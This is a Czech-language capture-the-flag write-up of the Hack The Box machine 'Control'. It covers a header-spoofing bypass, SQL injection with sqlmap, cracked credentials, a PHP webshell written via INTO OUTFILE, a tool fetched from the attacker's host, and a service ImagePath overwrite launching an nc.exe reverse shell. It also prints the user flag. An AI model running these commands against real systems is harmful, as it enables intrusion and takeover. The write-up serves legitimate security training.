tom@home.htb:~$

Blog o HTB

18 November 2020

Control

Úvod a kontext

Control stojí na dvou rozdílných typech chyb. Nejprve web věří hlavičce X-Forwarded-For jako bezpečnostní hranici a hned za ní běží SQL injection, která dovolí nejen vypsat databázi, ale i zapsat PHP webshell do webrootu. Teprve potom přichází na řadu Windows část s WinRM a privilegovanými službami.

Právě druhá půlka dělá stroj zajímavým. Root/admin zde nevznikne z další webové chyby, ale z lokálního průzkumu po WinRM footholdu. Historie PowerShellu navede k registru a z něj vede cesta k přepsání ImagePath jedné z LocalSystem služeb.

Počáteční průzkum

Vyhledání otevřených portů

Nejprve mapuji veřejně dostupné služby, protože právě z otevřených portů odvodím, které protokoly a aplikace má smysl zkoumat detailněji.

nmap -p 1-65535 -T4 -A -sC -v $IP
PORT      STATE SERVICE VERSION
80/tcp    open  http    Microsoft IIS httpd 10.0
| http-methods:
|_  Supported Methods: GET HEAD POST
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Fidelity
135/tcp   open  msrpc   Microsoft Windows RPC
3306/tcp  open  mysql?
| fingerprint-strings:
|   FourOhFourRequest, Help, JavaRMI, NCP, NULL, NotesRPC, TLSSessionReq, oracle-tns:
|_    Host '10.10.15.217' is not allowed to connect to this MariaDB server
49666/tcp open  unknown

Admin rozhraní za X-Forwarded-For

admin.php vrací jen hlášku o chybějící proxy hlavičce. To je důležitá indície, protože nejde o síťové omezení, ale o čistě aplikační kontrolu. Jakmile se nastaví X-Forwarded-For: 192.168.4.28, zpřístupní se i další funkce, včetně vstupu do SQL injection na search_products.php.

curl -H "X-Forwarded-For: 192.168.4.28" http://control.htb/admin.php

Analýza zjištění

SQL injection a heslo hector

sqlmap nad search_products.php vrátí databázové uživatele i hesla. Crack zde dává smysl právě proto, že vede k reálnému systémovému účtu hector, ne jen k dalším webovým datům.

sqlmap -u http://control.htb/search_products.php --data="productName=test" --headers "X-Forwarded-For: 192.168.4.28" --dump-all
/usr/sbin/john Control-mysql-users.txt --wordlist=/usr/share/wordlists/rockyou.txt
=> hector:l33th4x0rhector

Získání přístupu

Zápis webshellu přes INTO OUTFILE

Heslo hector ještě nestačí, protože WinRM není zvenku dosažitelný. Proto dává smysl využít samotnou SQL injection ještě jednou a přes SELECT ... INTO OUTFILE zapsat PHP webshell přímo do C:\inetpub\wwwroot\tshell.php.

sqlmap -u http://control.htb/search_products.php --data="productName=test" --headers "X-Forwarded-For: 192.168.4.28" --sql-shell
SELECT FROM_BASE64("PGh0bWw+...") INTO OUTFILE "C:\\inetpub\\wwwroot\\tshell.php"

Webshell, databázová konfigurace a WinRM pivot

Z tshell.php jde stáhnout database.php a ověřit další tajemství v systému, ale hlavní hodnota webshellu je v tom, že dovolí spustit chisel klienta. Tím se lokální WinRM port 5985 přepošle ven a účet hector lze použít pro stabilní shell.

gc database.php
private static $dbUsername = 'manager';
private static $dbUserPassword = 'l3tm3!n';
wget http://10.10.15.217:8000/exe/chisel_windows_amd64.exe -outfile c:\windows\temp\chisel_windows_amd64.exe
c:\windows\temp\chisel_windows_amd64.exe client 10.10.15.217:8008 R:5985:127.0.0.1:5985
chisel server -p 8008 --reverse
./evil-winrm/evil-winrm.rb -i 127.0.0.1 -u hector -p 'l33th4x0rhector'

Získání user flagu

user.txt potvrzuje, že cracked heslo hector skutečně vede k normálnímu administračnímu kanálu přes WinRM, ne jen k jednorázovému webshellu.

gc user.txt
d8782dd01fb15b72c4b5ba77ef2d472b

Eskalace oprávnění

PowerShell history jako vodítko

Další směr neurčila náhoda, ale ConsoleHost_history.txt. Z ní je vidět, že někdo předtím procházel ACL pod HKLM:\SYSTEM\CurrentControlSet. To je silná indicie, že slabina bude v oprávněních ke službám, ne třeba v plánovači úloh nebo uložených heslech.

cmd /c more %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
=> get-childitem HKLM:\SYSTEM\CurrentControlset | format-list
=> get-acl HKLM:\SYSTEM\CurrentControlSet | format-list

Přepsání ImagePath služby běžící jako LocalSystem

Po ověření zapisovatelných oprávnění k jedné ze služeb stačí změnit její ImagePath na payload s nc.exe a službu spustit. Tady je důležité rozlišit příčinu a následek: root/admin nepřišel kvůli WinRM, ale kvůli špatně nastaveným ACL v registru služeb.

$services = Get-ItemProperty HKLM:\System\CurrentControlSet\services\* | ? { $_.ObjectName -eq "LocalSystem"}
$services | % { $_.PSChildName; reg add HKLM\SYSTEM\CurrentControlSet\Services\$($_.PSChildName) /v ImagePath /t REG_EXPAND_SZ /d "cmd /c c:\programdata\nc.exe -e cmd.exe 10.10.15.217 4002" /f;cmd /c "sc start $($_.PSChildName)";start-service $($_.PSChildName);net start $($_.PSChildName);}
more root.txt
__CENSORED__

Shrnutí klíčových poznatků

Co si odnést do praxe

tags: windows - rce - winrm - php - java - exploit